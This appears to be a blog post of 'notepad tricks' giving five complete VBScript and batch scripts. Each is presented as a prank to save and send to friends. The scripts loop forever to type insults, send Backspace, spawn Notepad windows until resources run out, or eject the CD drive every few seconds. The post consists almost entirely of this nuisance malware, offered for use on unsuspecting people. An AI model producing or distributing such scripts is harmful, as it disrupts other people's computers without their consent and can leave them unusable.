freaking notepad tricks and tips (Part:2)

6.  Hack your friend’s keyboard and make him type “You are a fool” simultaneously:
Type :

    Set wshShell = wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “You are a fool.”
    loop

Save it as pc.vbs and send it to your friends.


7.  Open Notepad, slowly type anything and freak your friends out:
Type :

    WScript.Sleep 180000
    WScript.Sleep 10000
    Set WshShell = WScript.CreateObject(“WScript.Shell”)
    WshShell.Run “notepad”
    WScript.Sleep 100
    WshShell.AppActivate “Notepad”
    WScript.Sleep 500
    WshShell.SendKeys “Hel”
    WScript.Sleep 500
    WshShell.SendKeys “lo “
    WScript.Sleep 500
    WshShell.SendKeys “, ho”
    WScript.Sleep 500
    WshShell.SendKeys “w a”
    WScript.Sleep 500
    WshShell.SendKeys “re “
    WScript.Sleep 500
    WshShell.SendKeys “you”
    WScript.Sleep 500
    WshShell.SendKeys “? “
    WScript.Sleep 500
    WshShell.SendKeys “I a”
    WScript.Sleep 500
    WshShell.SendKeys “m g”
    WScript.Sleep 500
    WshShell.SendKeys “ood”
    WScript.Sleep 500
    WshShell.SendKeys ” th”
    WScript.Sleep 500
    WshShell.SendKeys “ank”
    WScript.Sleep 500
    WshShell.SendKeys “s! “

Save it as pc.vbs and send it to your friends.


8.  Frustrate your friend by making their keyboard hit Backspace simultaneously whenever they press a key :
Type :

    MsgBox “Let’s rock and roll”
    Set wshShell =wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{bs}”
    loop

Save it as pc.vbs and send it to your friends.


9.  Open Notepad continuously in your friend’s computer:
Type :

    @ECHO off
    :top
    START %SystemRoot%\system32\notepad.exe
    GOTO top

Save it as pc.bat and send it.


10.  Continuously pop out your friend’s CD or DVD Drive.
Type :

    Set oWMP = CreateObject(“WMPlayer.OCX.7″)
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 5000
    loop

Save it as pc.vbs and send it to your friends and voila . x]  (freaking notepad tricks part 2 )